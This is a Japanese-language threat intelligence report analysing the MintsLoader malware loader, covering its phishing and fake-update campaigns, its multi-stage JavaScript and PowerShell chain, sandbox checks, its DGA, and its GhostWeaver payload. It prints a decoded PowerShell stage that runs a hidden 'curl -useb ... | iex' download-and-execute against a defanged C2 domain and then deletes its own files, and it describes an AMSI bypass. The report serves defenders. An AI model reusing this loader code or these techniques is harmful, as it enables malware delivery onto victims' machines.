
Recorded FutureのMalware Intelligence HuntingでMintsLoaderを発見
Executive Summary
悪意のあるローダーであるMintsLoaderは、2024年にはすでに複数のフィッシングキャンペーンやドライブバイダウンロードキャンペーンで初確認されていました。ローダーは通常、GhostWeaver、StealC、修正されたBOINC(Berkeley Open Infrastructure for Network Computing)クライアントなどの第2段階のペイロードを展開します。MintsLoaderは、難読化されたJavaScriptとPowerShellスクリプトを含む多段階の感染チェーンを介して動作します。このマルウェアは、サンドボックスおよび仮想マシンの回避技術、ドメイン生成アルゴリズム(DGA)、HTTPベースのコマンド&コントロール(C2)通信を採用しています。
MintsLoaderは様々な脅威グループによって使用されていることが確認されていますが、TAG-124(別名LandUpdate808)の運営者はこれを広範囲に使用しています。このローダーは、産業、法律、エネルギー部門を標的とするフィッシングメール(TAG-124)、ブラウザの更新プロンプトになりすました侵害されたウェブサイト(SocGholish)、イタリアのPEC認定メールシステムを介して配信される請求書をテーマにしたルアーなど、複数の感染経路を通じて展開されます。
MintsLoaderの難読化の使用はYARAルールなどの静的検知を複雑にし、DGAベースのC2インフラストラクチャを使用しているため、最新のウォッチリストやブロックリストを維持することが困難になり、そのアンチ分析技術はサンドボックスや仮想化に依存するホストベースの検知を複雑にします。しかし、Recorded FutureのMalware Intelligence Huntingは、新しいMintsLoaderサンプルと関連するC2ドメインを特定し、ブロックリストや脅威ハンティング用の最新リストを提供します。
MintsLoaderは、難読化、サンドボックス回避、適応型インフラストラクチャを永続的に使用しているため、マルウェアエコシステム内での継続的な存在が保証されている可能性が高く、他の脅威アクターによる使用が増加する可能性があります。多様な配信メカニズムとしてのこのマルウェアの役割は、サイバー犯罪者コミュニティにおける専門化とプロフェッショナリズムの高まりを反映しています。この高度化が進むにつれて、脅威アクターはより耐久性が高く効率的な運用が可能になり利益を得る一方で、防御側には悪意のある活動をより効果的かつ大規模に特定し阻止する機会が生まれる可能性があります。
主な調査結果
- MintsLoaderの第2段階のPowerShellスクリプトは、サンドボックスと仮想環境の回避技術を使用しているため、自動分析の影響を受けにくくなり、動的検出ツールをバイパスする可能性が高くなります。
- MintsLoader は DGA を使用してシステム日付に基づいて毎日 C2 ドメインを生成するため、インフラストラクチャの監視活動とドメイン/IPベースの検知が複雑になります。
- Recorded FutureのMalware Intelligence Huntingは、動的なインフラストラクチャのため通常は追跡が困難なMintsLoaderに関連する最新のC2ドメインやその他のアーティファクトを提供します。
- Insikt Groupは、観測されたキャンペーンにおいてMintsLoaderによって展開された主要なペイロードがGhostWeaverであることを示しています。
- GhostWeaver の自己署名 X.509 証明書は、AsyncRAT およびその亜種の証明書に類似しているため、当初は AsyncRAT などの他のマルウェアファミリーとの誤った関連付けを引き起こします。
背景
Orange Cyberdefense は、2024 年 7 月から 10 月にかけて広範囲にわたる配布キャンペーンで MintsLoader を初めて検出しました。Insikt Group は、2024 年 2 月に、SocGholish 感染に関する Palo Alto の Unit42 分析 に基づいて、以前のキャンペーンを特定しました。
ローダーは、複数の DGA ベースのドメインから取得された JavaScript (ステージ 1) と PowerShell (ステージ 2) スクリプトで構成されます。「MintsLoader」という名前は、URL パラメータ s=mints[NUMBER] (たとえば、s=mints11) の特徴的な使用法に由来しています。MintsLoader は通常、GhostWeaver、StealC、Berkeley Open Infrastructure for Network Computing (BOINC) クライアントなどのセカンダリ ペイロードを配信するキャンペーンで 観察 されます。

MintsLoader は複数の脅威アクターによって使用されていると考えられていますが、TAG-124 (LandUpdate808 とも呼ばれます) 感染は MintsLoader を展開する際に頻繁に観察されています。さらに、SocGholish を使用する脅威アクターは MintsLoader を早期に採用したため、MintsLoader キャンペーンは SocGholish のみに関連していると当初評価されました。たとえば、2024 年 2 月にパロアルトの Unit42 は SocGholish に関連する指標を リリース しました (図 2)。ただし、Insikt Group の分析によると、AsyncRAT を配信していると識別された URL は、既知の MintsLoader URL パターンとも一致していることが示されています。

同様に、2024 年 7 月、Huntress Labs は BOINC クライアントを配信する SocGholish 感染を 報告 しました。特に、BOINC のダウンロードに使用された URL は、既知の MintsLoader URL パターンと一致します。図 3 は、MintsLoader を使用する脅威アクターの概要を示しています。

以下は、MintsLoaderに関連する最近報告されたキャンペーンです。
MintsLoader と Kongtuke/ClickFix ページ
2025年初頭、セキュリティアナリストは、MintsLoaderを第一段階のローダーとして配信するフィッシングキャンペーンを 観察 しました。フィッシングメール(米国とヨーロッパのエネルギー、石油・ガス、法律セクターを標的とする)には、悪意のあるJavaScriptの添付ファイルまたは偽の「クリックして確認」Webページへのリンクが含まれていました。図 4 は、ClickFix ページの例を示しています。

どちらの場合も、被害者のマシン上でMintsLoaderのPowerShellベースの第2段階が実行されました。このローダーは、最終的なペイロード、特に StealC インフォスティーラーと修正された BOINC クライアント ビルドをプルダウンしました。この キャンペーン では、偽の CAPTCHA 検証ページ (ClickFix/KongTuke ルアー) を利用して、ユーザーをだましてコピーした PowerShell コマンドを実行させ、MintsLoader をダウンロードして実行させました (図 5)。

このキャンペーンの他の 感染 チェーンは、ダウンロードした「Fattura########.js」を介してMintsLoaderを配信しましたファイル(イタリア語で「請求書」を意味する)を被害者が開いたため、同じPowerShellローダーが実行されました。eSentireの脅威対応ユニットの研究者は、このキャンペーンを報告し、脅威アクターが北米とヨーロッパの産業および専門サービスの標的に焦点を当てていることを指摘しました。
SocGholishの「FakeUpdates」キャンペーン
複数の報告によると、(1、 2) SocGholish (FakeUpdates) の脅威アクターが MintsLoader を業務に組み込んでいます。2024年7月頃から、侵害、ハッキングのWebサイトによる感染チェーンがMintsLoaderを介してBOINC分散コンピューティングクライアントをインストールすることが示されました。
図6に示されているこのドライブバイキャンペーンでは、正規のサイトを閲覧していた被害者が、偽のブラウザ更新プロンプト(多くの場合update.jsスクリプトが発信元)に遭遇しました。実行すると、悪意のあるJavaScriptが難読化されたMintsLoaderペイロードを取得し、複数ステップのPowerShellシーケンスが開始されました。

Huntress Labsは、2つの並行した結果を記録しました。1つのブランチでは、ファイルレスのAsyncRATがメモリ内で実行され、もう1つのブランチでは、攻撃者の制御下でステルスBOINCがインストールされました。BOINCの展開は大幅に変更され、標準のBOINCサーバーではなく、悪意のあるC2に接続するように構成されました。
場合によっては、GhostWeaver PowerShell バックドア (Mandiant によって UNC4108 として追跡されています) も MintsLoader 経由で配信され、攻撃者に永続的な足がかりと追加のプラグインをロードするためのプラットフォームを提供しました。
ヨーロッパにおける請求書フィッシング
別の MintsLoader キャンペーン 2024 年後半には、請求書をテーマにしたフィッシング メールを介してヨーロッパの組織を 標的に しました (その例を図 7 に示します)。スパム メッセージは、イタリアの PEC (認定電子メール) システムを利用して正当性を追加し、受信者を誘惑して請求書を装った添付された JavaScript ファイルを開かせました。 Spamhaus の調査チームはこれを「PEC 請求書詐欺」と呼び、攻撃者がセキュリティ チェックを回避するために信頼できる電子メール チャネルをどのように悪用したかを強調しました。このキャンペーンは「企業から時間、お金、信頼を奪う」ことで注目されました。

技術的分析
MintsLoaderは、JavaScriptとPowerShellを含む多段階の実行チェーンを使用し、各段階で難読化を採用して分析を妨害します。MintsLoaderは追加機能のないローダーとしてのみ機能しますが、その主な強みはサンドボックスと仮想マシンの回避技術、そして実行された日に基づいてC2ドメインを導出するDGA実装にあります。これらの機能は、静的分析とホストベースの検知を著しく複雑にします。それにもかかわらず、C2通信はHTTPを介して行われ、新しいサンプルを検出および識別するための信頼性の高い手段を提供します。図8はMintsLoaderの高次的な機能を示しています。

このMintsLoaderの分析には、第1段階および第2段階のペイロードとMintsLoaderインフラストラクチャの詳細が含まれています。
MintsLoader攻撃チェーン
MintsLoaderは通常、KongTukeまたはClickFixページへのリンクを含むフィッシングメールを通じて配信されます。実行されると、これらのページはJavaScriptの第1段階を取得して実行します。JavaScriptは高度に難読化されており、実行するとPowerShellコマンドが実行され、図9に示すようにMintsLoaderの第2段階をダウンロードして実行します。

この第2段階では、環境チェックを行い、サンドボックスまたは仮想化された環境で実行されているかどうかを判断します。次に、スクリプトはDGAを使用して次のC2ドメインを生成します。続いて、MintsLoaderは生成されたドメインに接続し、GhostWeaver、StealC、BOINCクライアントなどの最終ペイロードをダウンロードしようとします。図10は、この攻撃チェーンの高次的な概要を示しています。

第1段階:JavaScript
MintsLoaderの初期段階は、PowerShellコマンドを実行して第2段階を取得するJavaScriptファイルで構成されています。このスクリプトは、ジャンクコメント、読み取り不可能な変数と関数名、文字の置換、文字列のエンコーディングによって大幅に難読化されています(図11)。Insikt Groupは、Recorded FutureのMalware Intelligence Hunting(付録A)から得られたデータを使用して、141個のMintsLoader第1段階サンプルを発見しました。

ステージ 1 の JavaScript ペイロードのコア機能は、コマンド「curl -useb http://[domain]/1.php?s=[キャンペーン]」を実行する PowerShell コマンドを実行し、第 2 ステージをダウンロードして実行することです。 PowerShell でオプション '-useb' を指定して 'curl' を使用すると、Invoke-WebRequest のエイリアスとなり、プログラム cURL は実際には HTTP 要求の作成に使用されません。
Insikt Groupは、第1段階ローダーの3つの異なるバージョンを特定しました。これらはすべて同じJavaScript難読化手法を採用していますが、展開されたPowerShellの実装方法が異なります。
最初の亜種は、図12に示すように、C2ドメインがハードコードされたPowerShellコマンドをクリアテキストで実行します。この亜種は「mints13」および「flibabc11」キャンペーンで確認されています。

2番目のバリエーションでは、PowerShellコマンドは文字置換を使用して難読化されます。C2ドメインは依然としてハードコードされており、curlコマンドのエイリアスが代わりに使用されていますが、目的は次の段階をダウンロードすることです(図13)。これは、キャンペーン全体(「flibabc21」、「flibabc22」、「mints11」、「mints13」、「mints21」、「mints42」)で最も広く使用されているバリアントです。

3番目のバリエーションは、コマンドをBase64でエンコードします(図14)。Insikt Groupは、この手法が以前のキャンペーン「mints13」で使用されていることを確認しました。

しかし、このバージョンでは、PowerShellコマンドは、cURLを使用して第2段階をダウンロードするためのPowerShellコマンドを含むファイルを作成します。次に、ファイルを実行して削除します。
$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ });
$currentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);
$minuteAdjustment = 3;
If ($currentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;
};
$currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };
$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });
$scriptToExecute = @"
$ErrorActionPreference = "Continue"
curl -useb "http://gibuzuy37v2v\\[.]top/1.php?s=mints13" | iex;
Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force
"@;
"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath "C:\Users\Public\Documents\$($randomNamePart2).ps1";
powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1";
Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
表1: PowerShell第1段階のデコードされたbase64テキスト(出典:Recorded Future)
第1段階:C2通信
任意のバリアントを実行すると、ハードコードされたドメインに対してHTTP GETリクエストが送信され、第2段階のペイロードが取得されます。要求が成功すると、図15に示されているPowerShellスクリプトが取得され、実行されます。

DGAドメインが有効でなくなった場合、図16に示すように302レスポンスが返されます。

第2段階:PowerShell
第2段階である PowerShell には、Base64でエンコードされた文字列が含まれています。XORデコードと解凍の後、難読化されたプライマリペイロードが生成されます。図17は、このペイロードのスニペットで、MintsLoaderの難読化された文字列構築技術を示しています。

最初の難読化解除とデコードの後、PowerShell の第 2 段階では、AMSI 初期化エラーを偽装する既知の 手法 (System.Management.Automation.AmsiUtils オブジェクトの変数 amsiInitFailed を TRUE に設定する) を使用して、マルウェア対策スキャン インターフェイス (AMSI) をバイパスしようとすることから始まります。
コードの残りの部分は、システムがベアメタル、サンドボックス、または仮想マシンのいずれで実行されているかを検出するために論理式で使用される戻り値という 3 つのシステム情報クエリを実行します。これは URL パラメータ キーとして送信される整数変数を介して C2 に伝達され、C2 はその値を調べて、そのかどうかを判断します 対応 最終的なペイロードまたはおとりをダウンロードする第 3 段階を返します。 キー変数をインクリメントするために使用される定数整数値は、第 2 段階のサンプルごとに変化することに注意してください。
各システム情報クエリの結果は、サンプルごとに順序が異なる 3 つの論理式と、キーをインクリメントする定数と照合され、その結果がキー変数値に影響します。論理式は、初期検査で明らかな結果を提供しない場合があります。たとえば、最初の難読化解除されたシステム・チェック ( 以下の図 18 に示す) を仮想マシンで実行した場合、$isVirtualMachine変数は $true に等しくなります。論理式 "$true -eq 3" は PowerShell で$trueと評価され、キーが 83670406277 ではなく 15310805757 ずつ増加します。

2 番目のシステム チェックでは、図 19 に示すように、 Win32_VideoController WMI オブジェクトの AdapterDACType メンバーにクエリを実行して、デジタル アナログ コンバーター (DAC) チップの名前または識別子を取得します。これにより、感染したシステムがエミュレータ上で実行されているか、仮想的に実行されているかが判断されます。通常、Windows システムは "Internal" や "Integrated RAMDAC" を返しますが、この例ではキーが 14467965888 ずつインクリメントされます。

3 番目のシステム チェックでは、一般的な Windows システムでは "L1 キャッシュ" に等しくなる Win32_CacheMemory WMI オブジェクトの目的メンバーを照会します。自明ではない論理式 "$l 1CachePurpose.length —gt 4" は、 図 20 に示す難読化解除された例のように、キー値を 27424330481 ずつインクリメントして、最適なケースで実行されます。

キーのシステムチェックと計算に続いて、日付と定数に基づいてランダムなシードを生成し、システムで使用します。単純な DGA と URL パスを使用してドメインを構築するためのランダム オブジェクト ( 図 21 参照)。作成者は、URL パスを構築するために 2 番目の確率変数を使用しなかったことで間違いを犯した可能性があります。代わりに、URL パスの末尾に未定義の変数を使用し、URL パスの末尾を定数の「htr.php」にします。PowerShell では、curl は Invoke-WebRequest のエイリアスであり、第 3 段階の C2 への要求を生成するために使用されるため、User-Agent HTTP ヘッダーには curl ではなく PowerShell バージョン情報が含まれます。

第2段階:C2通信
図 22 は、最終的なペイロードに対する MintsLoader リクエストの例を示しており、URL パスは htr.php で終わります。URL パラメータ id はホスト名で、URL パラメータ s はキャンペーン ID です。

第3段階のMintsLoaderリクエストの例は図23に示されています。URLパスはランダム化されておらず、定数文字列「2.php」が使用されています。

第 2 段階のリクエストが特定の要件を満たしていない場合、 この例のように 、最終的なペイロードによっておとり実行可能ファイル ( 図 24) が生成され、サイトの temp[.]シュ。この AsyncRAT との関連により、レポートでは最初に「AsyncRAT Loader」とネットワーク トラフィックの対策が付けられ、現在の MintsLoader キャンペーンでは AsyncRAT が展開されていないにもかかわらず、MintsLoader マルウェア サンプルが誤って AsyncRAT としてタグ付けされる原因となります。

最近成功した試みを図25に示します。この例では、最終的なペイロードはGhostWeaverです。

GhostWeaver
MintsLoader によって展開される最も一般的に観察されるペイロードの 1 つは、MintsLoader とコードの類似性と機能の重複を示す PowerShell ベースのリモート アクセス トロイの木馬 (RAT) である GhostWeaver です。特に、GhostWeaver は sendPlugin コマンドを使用して追加のペイロードとして MintsLoader を デプロイ できます。GhostWeaver とそのコマンド アンド コントロール (C2) サーバー間の通信は、PowerShell スクリプトに直接埋め込まれた難読化された自己署名 X.509 証明書を使用した TLS 暗号化によって保護され、C2 インフラストラクチャへのクライアント側認証に利用されます。
GhostWeaver は定期的に AsyncRAT として誤って分類されています。Insikt Groupは、この誤分類は、パロアルトネットワークスが最初にGhostWeaverサンプル(SHA256:fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765)をファイルレスAsyncRAT亜種として特定 した ことに起因すると、中程度の確信度で評価しています。GhostWeaver と AsyncRAT は、同一の有効期限やシリアル番号の長さなど、自己署名 X.509 証明書内で特定の特性を共有しています。ただし、これらの類似性は、意味のある運用上の重複ではなく、単に一般的な証明書生成方法を反映しているだけかもしれません。
MintsLoaderインフラストラクチャ
Insikt Groupは当初、MintsLoader C2サーバーがBLNWXのみでホストされていることを発見しましたが、その後、Stark Industries Solutions Ltd(AS44477)、GWY IT Pty Ltd(AS199959)、SCALAXY-AS(58061)など、他のISPでも利用が増えていることを確認しました。SCALAXY-AS経由で発表されたMintsLoader C2のIPアドレスは、ホスティングプロバイダー3NT Solutions LLPとIROKO Networks Corporationによって運営されています。これらはどちらもロシア語の防弾ホスティングプロバイダーであるInferno Solutions(inferno[.]name)の一部です。SCALAXY-ASとStark Industries Solutionsへの切り替えは、MintsLoaderの運営者が匿名の仮想プライベートサーバー(VPS)プロバイダーから、より伝統的な防弾ホスティングサービスに移行したことを示唆しています。これは、おそらく、削除の試みに対してインフラストラクチャを強化し、運用の安定性を高めるための取り組みです。
過去数か月間にわたり、Insikt Groupは、疑わしい追加のキャンペーンIDとペイロードの範囲を特定しました(表2)。このデータは公開調査とInsikt Groupの内部調査からまとめられています。
表2: 疑わしいMintsLoaderキャンペーンID(出典:Recorded Future)
2023 年には、さらに 2 つの潜在的なキャンペーン ID である js2 と dav が観察され、js2 は AsyncRAT 感染で 特定 されました。
分析全文を読むには、ここをクリックしてレポートをPDF形式でダウンロードしてください。